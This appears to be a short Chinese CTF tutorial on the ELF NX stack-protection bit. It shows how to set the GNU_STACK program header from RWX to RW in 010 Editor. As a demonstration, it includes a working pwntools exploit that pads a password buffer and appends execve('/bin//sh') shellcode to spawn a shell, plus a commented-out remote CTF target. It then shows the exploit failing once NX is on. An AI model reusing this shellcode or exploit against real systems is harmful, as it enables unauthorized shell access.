修改ELF文件的NX保护

NX是栈不可执行保护, 即让栈上的数据无法作为指令执行
NX实际上是给栈加了一个权限标志位, 让程序识别其权限

这个标志位保存在program header
启动神器010editor, 运行ELF文件的template

可以看到各个段的信息, GNU stack即栈, 点开可以看到权限

0x7表示R/W/X权限, 即NX Disable

那么我们如果想开NX, 设置为R/W权限即可

例题: 下载

exp:

from pwn import *
s = 'The_Pursuit_of_Happiness'
a = 'I_Need_BMW'
pas = ''
for i in range(len(a)):
pas += chr(ord(s[i]) ^ ord(a[i]))
# xor %ecx,%ecx
# push $0x21
# pop %eax
# sub %eax, 0x15
# push %ecx
# push $0x68732f2f
# push $0x6e69622f
# mov %esp,%ebx
# int $0x80

shellcode = "\x31\xc9\x6a\x21\x58\x83\xe8\x16\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
pas += 't_of_Happiness' + 'a' * 0x5b + shellcode
p = process('./5afea37c3946a')
# p = remote('101.71.29.5', 10034)
p.sendlineafter('user name : ', 'a')
p.sendlineafter('password : ', 'b')
p.sendlineafter('information: ', pas)
p.interactive()

在NX没开的情况下执行我们的shellcode即可getshell:

用上面的方法打开NX以后, shellcode就失效了: